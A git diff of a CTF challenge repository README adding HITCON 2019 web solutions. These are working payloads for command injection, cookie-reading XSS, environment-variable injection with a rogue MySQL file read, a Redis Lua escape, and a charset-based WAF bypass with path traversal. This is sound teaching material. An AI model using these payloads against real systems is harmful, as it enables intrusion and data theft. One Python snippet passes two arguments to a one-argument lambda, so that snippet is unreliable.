|
1 | 1 |
|
2 | 2 | # My CTF Web Challenges
|
3 | 3 |
|
4 |
| -This is the repo of CTF challenges I made, including the source code, write-up and idea explanation! |
| 4 | +This is the repository of all CTF challenges I made, including the source code, write-up and idea explanation! |
5 | 5 | Hope you like it :)
|
6 | 6 |
|
7 | 7 |
|
8 |
| -**P.s.** BTW, `Babyfirst` series are my favorite in all challenges. If you don't have time to see all, please look the them at least! |
| 8 | +**P.s.** BTW, the `Babyfirst` series and `One Line PHP Challenge` are my favorite challenges. If you haven't enough time, please look them at least! |
9 | 9 |
|
10 | 10 | * [Babyfirst](#babyfirst)
|
11 | 11 | * [Babyfirst Revenge](#babyfirst-revenge)
|
12 | 12 | * [Babyfirst Revenge v2](#babyfirst-revenge-v2)
|
| 13 | +* [One Line PHP Challenge](#one-line-php-challenge) |
13 | 14 |
|
14 | 15 | <br>
|
15 | 16 |
|
16 |
| -You can contact me via: |
17 |
| -* orange@chroot.org |
18 |
| -* [blog.orange.tw](http://blog.orange.tw/) |
19 |
| -* [@orange_8361](https://twitter.com/orange_8361) |
| 17 | +And you can find me via: |
| 18 | +* Email: orange@chroot.org |
| 19 | +* Blog: [http://blog.orange.tw](http://blog.orange.tw/) |
| 20 | +* Twitter: [@orange_8361](https://twitter.com/orange_8361) |
20 | 21 |
|
21 | 22 | <br>
|
22 | 23 |
|
23 | 24 |
|
24 | 25 | ## **Table of Content**
|
25 | 26 |
|
| 27 | +* [HITCON 2019 Quals](#virtual-public-network) |
| 28 | + * [Virtual Public Network](#virtual-public-network) |
| 29 | + * [Bounty Pl33z](#bounty-pl33z) |
| 30 | + * [GoGo PowerSQL](#gogo-powersql) |
| 31 | + * [Luatic](#luatic) |
| 32 | + * [Buggy .Net](#buggy-net) |
| 33 | + |
26 | 34 | * [HITCON 2018](#one-line-php-challenge)
|
27 | 35 | * [One Line PHP Challenge](#one-line-php-challenge)
|
28 | 36 | * [Baby Cake](#baby-cake)
|
@@ -64,6 +72,187 @@ You can contact me via:
|
64 | 72 |
|
65 | 73 | <br>
|
66 | 74 |
|
| 75 | +## **Virtual Public Network** |
| 76 | + |
| 77 | +Difficulty: **★☆** |
| 78 | +Solved: **81 / 1147** |
| 79 | +Tag: **WhiteBox**, **Perl**, **Command Injection** |
| 80 | + |
| 81 | +#### Source Code |
| 82 | + |
| 83 | +* [Source](hitcon-ctf-2019/virtual-public-network/) |
| 84 | + |
| 85 | +#### Solution |
| 86 | + |
| 87 | +* Refer my blog and Black Hat 2019 USA slides for details |
| 88 | + * [Attacking SSL VPN - Part 3: The Golden Pulse Secure SSL VPN RCE Chain, with Twitter as Case Study!](https://blog.orange.tw/2019/09/attacking-ssl-vpn-part-3-golden-pulse-secure-rce-chain.html) |
| 89 | + * [Infiltrating Corporate Intranet Like NSA: Pre-auth RCE on Leading SSL VPNs](https://i.blackhat.com/USA-19/Wednesday/us-19-Tsai-Infiltrating-Corporate-Intranet-Like-NSA.pdf) |
| 90 | + |
| 91 | +``` |
| 92 | +http://13.231.137.9/cgi-bin/diag.cgi |
| 93 | +?options=-r@a="ls -alh /",system@a%23 2>tmp/orange.thtml < |
| 94 | +&tpl=orange |
| 95 | +``` |
| 96 | + |
| 97 | + |
| 98 | +#### Write Ups |
| 99 | + |
| 100 | +* TBD |
| 101 | + |
| 102 | + |
| 103 | +## **Bounty Pl33z** |
| 104 | + |
| 105 | +Difficulty: **★★★☆** |
| 106 | +Solved: **30 / 1147** |
| 107 | +Tag: **XSS** |
| 108 | + |
| 109 | +#### Source Code |
| 110 | + |
| 111 | +* [Website](hitcon-ctf-2019/bounty-pl33z/web/) |
| 112 | +* [XSS bot](hitcon-ctf-2019/bounty-pl33z/bot/) |
| 113 | + |
| 114 | +#### Solution |
| 115 | + |
| 116 | +* Idea from [@FD](https://twitter.com/filedescriptor) - A little known JavaScript comment style [SingleLineHTMLOpenComment](https://www.ecma-international.org/ecma-262/10.0/index.html#prod-annexB-SingleLineHTMLOpenComment) and [HTMLCloseComment](https://www.ecma-international.org/ecma-262/10.0/index.html#prod-annexB-HTMLCloseComment) in EMCA specification. |
| 117 | + |
| 118 | +Here we use unicode `U+2028` and `U+3002` to bypass `\n` and `.` filters. |
| 119 | + |
| 120 | +``` |
| 121 | +http://3.114.5.202/fd.php |
| 122 | +?q=ssl。orange。tw?xx"+document[`cookie`]%E2%80%A8--> |
| 123 | +``` |
| 124 | + |
| 125 | +#### Unintended Solution |
| 126 | + |
| 127 | +* Nesting template expression |
| 128 | + |
| 129 | +``` |
| 130 | +http://3.114.5.202/fd.php |
| 131 | +?q=ssl。orange。tw?`+"+document[`cookie`];(`${` |
| 132 | +``` |
| 133 | + |
| 134 | +#### Write Ups |
| 135 | + |
| 136 | +* TBD |
| 137 | + |
| 138 | +## **GoGo PowerSQL** |
| 139 | + |
| 140 | +Difficulty: **★★★☆** |
| 141 | +Solved: **16 / 1147** |
| 142 | +Tag: **Environment Injection**, **MySQL Client Attack** |
| 143 | + |
| 144 | +#### Source Code |
| 145 | + |
| 146 | +* [Docker](hitcon-ctf-2019/gogo-powersql/) |
| 147 | + |
| 148 | +#### Solution |
| 149 | + |
| 150 | +1. Buffer Overflow the `DB_HOST` in BSS |
| 151 | +2. Due to the [patch](hitcon-ctf-2019/gogo-powersql/Dockerfile#L20), we can pollute environment variable which are not in the [Blacklist](https://github.com/embedthis/goahead/blob/v4.0.0/src/cgi.c#L170). |
| 152 | +3. Hijack MySQL connection by ENV such as `LOCALDOMAIN` or `HOSTALIAES` |
| 153 | +4. Read `/FLAG` by `LOAD DATA LOCAL INFILE`. |
| 154 | + |
| 155 | +```python |
| 156 | +import requests |
| 157 | + |
| 158 | +payload = ['x=x' for x in range(254)] |
| 159 | +payload.append('name=x') |
| 160 | +payload.append('HOSTALIASES=/proc/self/fd/0') |
| 161 | +payload.append('orangeeeee=go') |
| 162 | +payload = '&'.join(payload) |
| 163 | + |
| 164 | +data = 'orangeeeee my.orange.tw' |
| 165 | + |
| 166 | +r = requests.post('http://13.231.38.172/cgi-bin/query?'+payload, data=data) |
| 167 | +print r.content |
| 168 | +``` |
| 169 | + |
| 170 | +```shell |
| 171 | +$ git clone https://github.com/lcark/MysqlClientAttack.git |
| 172 | +$ cd MysqlClientAttack |
| 173 | +$ python main.py -F /FLAG |
| 174 | +``` |
| 175 | + |
| 176 | + |
| 177 | + |
| 178 | +#### Write Ups |
| 179 | + |
| 180 | +* TBD |
| 181 | + |
| 182 | +## **Luatic** |
| 183 | + |
| 184 | +Difficulty: **★★☆** |
| 185 | +Solved: **42 / 1147** |
| 186 | +Tag: **WhiteBox**, **Redis**, **Lua** |
| 187 | + |
| 188 | +#### Source Code |
| 189 | + |
| 190 | +* [Docker](hitcon-ctf-2019/luatic/) |
| 191 | + |
| 192 | +#### Solution |
| 193 | + |
| 194 | +1. Override PHP global variables. |
| 195 | +2. Redis [implements](https://github.com/antirez/redis/blob/ee1cef189fff604f165b2d20a307545840de944e/src/scripting.c#L1363) `eval` command by string concatenations so that we can escape the original Lua function to override global objects. |
| 196 | + |
| 197 | +``` |
| 198 | +http://54.250.242.183/luatic.php |
| 199 | +?_POST[TEST_KEY]=return 1 end function math:random() return 2 |
| 200 | +&_POST[TEST_VALUE]=0 |
| 201 | +&_POST[MY_SET_COMMAND]=eval |
| 202 | +&_POST[token]=<token> |
| 203 | +&_POST[guess]=2 |
| 204 | +``` |
| 205 | + |
| 206 | +``` |
| 207 | +http://54.250.242.183/luatic.php |
| 208 | +?_POST[token]=<token> |
| 209 | +&_POST[guess]=2 |
| 210 | +``` |
| 211 | + |
| 212 | +#### Unintended Solution |
| 213 | + |
| 214 | +* Lua is so magic that there are several unintended solutions. Sorry for the imperfect challenge :( |
| 215 | + |
| 216 | +#### Write Ups |
| 217 | + |
| 218 | +* TBD |
| 219 | + |
| 220 | +## **Buggy .Net** |
| 221 | + |
| 222 | +Difficulty: **★☆** |
| 223 | +Solved: **13 / 1147** |
| 224 | +Tag: **ASP.NET**, **WhiteBox** |
| 225 | + |
| 226 | +#### Source Code |
| 227 | + |
| 228 | +* [Default.aspx](hitcon-ctf-2019/buggy-net/Default.aspx) |
| 229 | + |
| 230 | +#### Solution |
| 231 | + |
| 232 | +* Using .NET request validation to trigger the exception and bypass the filter |
| 233 | +* Idea from [Soroush Dalili](https://twitter.com/irsdl)'s [WAF Bypass Techniques - Using HTTP Standard and Web Servers' Behaviour](https://www.slideshare.net/SoroushDalili/waf-bypass-techniques-using-http-standard-and-web-servers-behaviour) in AppSec Europe 2018(p30~p34) |
| 234 | + |
| 235 | +``` |
| 236 | +GET / HTTP/1.1 |
| 237 | +Host: buggy |
| 238 | +Content-Type: application/x-www-form-urlencoded; charset=ibm500 |
| 239 | +Content-Length: 61 |
| 240 | +
|
| 241 | +%86%89%93%85%95%81%94%85=KKaKKa%C6%D3%C1%C7K%A3%A7%A3&x=L%A7n |
| 242 | +``` |
| 243 | + |
| 244 | +```python |
| 245 | +from urllib import quote |
| 246 | + |
| 247 | +s = lambda x: quote(x.encode('ibm500')) |
| 248 | +print '%s=%s&x=%s' % (s('filename'), s('../../FLAG.txt', '<x>')) |
| 249 | +``` |
| 250 | + |
| 251 | +#### Write Ups |
| 252 | + |
| 253 | +* TBD |
| 254 | + |
| 255 | + |
67 | 256 | ## **One Line PHP Challenge**
|
68 | 257 |
|
69 | 258 | Difficulty: **★★★★**
|
|
0 commit comments